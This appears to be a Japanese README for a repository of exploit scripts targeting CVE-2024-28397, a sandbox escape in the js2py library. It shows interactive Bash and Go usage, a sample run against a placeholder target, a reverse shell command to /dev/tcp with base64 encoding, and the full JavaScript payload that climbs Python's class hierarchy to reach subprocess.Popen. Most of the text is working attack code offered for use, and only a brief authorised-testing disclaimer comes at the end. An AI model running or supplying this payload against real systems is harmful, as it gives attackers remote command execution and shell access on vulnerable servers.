
CVE-2024-28397 用のエクスプロイトスクリプト。これは js2py サンドボックスエスケープであり、任意の Python コードを実行してターゲットエンドポイント上でリバースシェルを起動します。
js2py サンドボックスエスケープ脆弱性 (CVE-2024-28397) を標的としたエクスプロイトスクリプトのコレクションです。この脆弱性により、Python オブジェクトのイントロスペクションを通じて任意のコードが実行される可能性があります。
js2py ライブラリには、JavaScript の Object.getOwnPropertyNames() メソッドを通じて内部 Python オブジェクトにアクセスすることで、攻撃者が任意の Python コードを実行できる重大なサンドボックスエスケープ脆弱性が含まれています。
このエクスプロイトは Marven11 による包括的な分析に基づいています:
このリポジトリには3つの異なる実装が含まれています:
exploit.sh)curl と jq を使用した軽量な bash 実装。
exploit.go)組み込み HTTP クライアントを備えたクロスプラットフォーム Go 実装。
curl, jq, base64すべてのスクリプトはインタラクティブで、必要な情報を入力するよう促します:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
各スクリプトは次の項目を尋ねます:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
エクスプロイトは動的にリバースシェルコマンドを作成します:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
シェルコマンドは安全な送信のために base64 エンコードされます:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
コアとなるエクスプロイトは JavaScript を使用して Python の内部オブジェクトにアクセスします:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({}) を通じて Python のオブジェクトシステムにアクセス__class__.__base__.__getattribute__ を経由して基底クラスに移動subprocess.Popen を検索Popen を通じて任意のシステムコマンドを実行これらのスクリプトは教育および許可されたテスト目的でのみ提供されます。システムに対してテストを行う前に、適切な許可を得ていることを常に確認してください。
このソフトウェアは教育および許可されたセキュリティテスト目的でのみ提供されます。ユーザーは適用される法律を遵守し、使用前に適切な許可を得る責任があります。